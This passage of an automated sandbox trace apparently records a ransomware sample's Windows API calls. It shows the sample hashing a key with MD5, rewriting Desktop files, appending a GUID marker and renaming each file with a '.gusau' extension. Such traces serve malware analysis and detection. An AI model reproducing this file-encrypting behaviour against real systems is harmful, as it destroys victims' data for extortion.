halpmcxz\\desktop\\h7in.jpg.gusau")) returned 1 [0116.907] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd264a650, ftCreationTime.dwHighDateTime=0x1d4c711, ftLastAccessTime.dwLowDateTime=0x1102bb90, ftLastAccessTime.dwHighDateTime=0x1d4d252, ftLastWriteTime.dwLowDateTime=0x1102bb90, ftLastWriteTime.dwHighDateTime=0x1d4d252, nFileSizeHigh=0x0, nFileSizeLow=0xac4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IcgE7 x.mp3", cAlternateFileName="ICGE7X~1.MP3")) returned 1 [0116.907] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IcgE7 x.mp3") returned=".mp3" [0116.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IcgE7 x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icge7 x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.907] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=44108) returned 1 [0116.907] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.908] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xac26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.908] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.910] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xac4c, lpOverlapped=0x0) returned 1 [0116.910] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.910] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.910] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.910] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.911] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.911] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.911] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.911] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.911] GetLastError () returned 0x0 [0116.911] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.911] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.912] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xac4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.912] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.912] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.912] CloseHandle (hObject=0x610) returned 1 [0116.913] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IcgE7 x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icge7 x.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IcgE7 x.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icge7 x.mp3.gusau")) returned 1 [0116.914] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e09460, ftCreationTime.dwHighDateTime=0x1d4cc75, ftLastAccessTime.dwLowDateTime=0x7f0a6050, ftLastAccessTime.dwHighDateTime=0x1d4cdb8, ftLastWriteTime.dwLowDateTime=0x7f0a6050, ftLastWriteTime.dwHighDateTime=0x1d4cdb8, nFileSizeHigh=0x0, nFileSizeLow=0x1471b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K0eRKbFqwJi63h.flv", cAlternateFileName="K0ERKB~1.FLV")) returned 1 [0116.914] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K0eRKbFqwJi63h.flv") returned=".flv" [0116.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K0eRKbFqwJi63h.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k0erkbfqwji63h.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.914] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=83739) returned 1 [0116.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.916] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x146f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.916] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.917] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1471b, lpOverlapped=0x0) returned 1 [0116.918] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.918] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.918] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.918] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.919] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.919] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.919] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.919] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.919] GetLastError () returned 0x0 [0116.919] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.919] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.920] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1471b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.920] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.920] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.920] CloseHandle (hObject=0x610) returned 1 [0116.921] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K0eRKbFqwJi63h.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k0erkbfqwji63h.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K0eRKbFqwJi63h.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k0erkbfqwji63h.flv.gusau")) returned 1 [0116.923] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64611e90, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0x414d5ea0, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0x414d5ea0, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KaYNqgG.bmp", cAlternateFileName="")) returned 1 [0116.923] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KaYNqgG.bmp") returned=".bmp" [0116.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KaYNqgG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kaynqgg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.923] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=20816) returned 1 [0116.923] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.925] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x512a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.925] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.925] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5150, lpOverlapped=0x0) returned 1 [0116.926] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.926] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.926] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.926] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.926] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.926] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.926] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.927] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.927] GetLastError () returned 0x0 [0116.927] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.927] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.927] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5150, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.927] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.927] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.927] CloseHandle (hObject=0x610) returned 1 [0116.928] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KaYNqgG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kaynqgg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KaYNqgG.bmp.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kaynqgg.bmp.gusau")) returned 1 [0116.929] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f3ff00, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x25f3ff00, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x24c2d200, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", cAlternateFileName="LS_APP~1.EXE")) returned 1 [0116.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned=".exe" [0116.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.929] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=396800) returned 1 [0116.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.931] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x60dda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.931] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.932] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.932] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x25805, lpOverlapped=0x0) returned 1 [0116.934] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.934] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.934] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.934] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.935] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.935] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.935] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.935] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.935] GetLastError () returned 0x0 [0116.935] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.935] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.935] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.937] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x60e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.937] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.937] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.937] CloseHandle (hObject=0x610) returned 1 [0116.943] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe.gusau")) returned 1 [0116.943] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.943] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.944] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0116.944] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9c06c20, ftCreationTime.dwHighDateTime=0x1d4ca35, ftLastAccessTime.dwLowDateTime=0x8a3f5950, ftLastAccessTime.dwHighDateTime=0x1d4cca3, ftLastWriteTime.dwLowDateTime=0x8a3f5950, ftLastWriteTime.dwHighDateTime=0x1d4cca3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mv1WVGRvzH", cAlternateFileName="MV1WVG~1")) returned 1 [0116.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0116.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0116.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b08 [0116.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0116.944] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb2d0 | out: hHeap=0xd10000) returned 1 [0116.944] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0116.944] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.945] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39668a0 | out: hHeap=0xd10000) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941bf8 [0116.945] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0116.945] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0116.945] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb470da0, ftCreationTime.dwHighDateTime=0x1d4d03f, ftLastAccessTime.dwLowDateTime=0xea432d0, ftLastAccessTime.dwHighDateTime=0x1d4cc57, ftLastWriteTime.dwLowDateTime=0xea432d0, ftLastWriteTime.dwHighDateTime=0x1d4cc57, nFileSizeHigh=0x0, nFileSizeLow=0x1158c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ntzf.doc", cAlternateFileName="")) returned 1 [0116.945] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.945] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.945] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.945] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ntzf.doc") returned=".doc" [0116.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ntzf.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ntzf.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.945] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=71052) returned 1 [0116.945] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.947] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11566, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.947] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.948] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.948] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.948] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1158c, lpOverlapped=0x0) returned 1 [0116.949] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.949] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.949] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.949] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.949] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.950] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.950] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.950] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.950] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.950] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.950] GetLastError () returned 0x0 [0116.950] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.950] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.950] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.950] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11590) returned 0x39f9f20 [0116.950] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.950] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.950] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11587, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11587, lpOverlapped=0x0) returned 1 [0116.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.951] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1158c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.951] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.951] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.951] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, 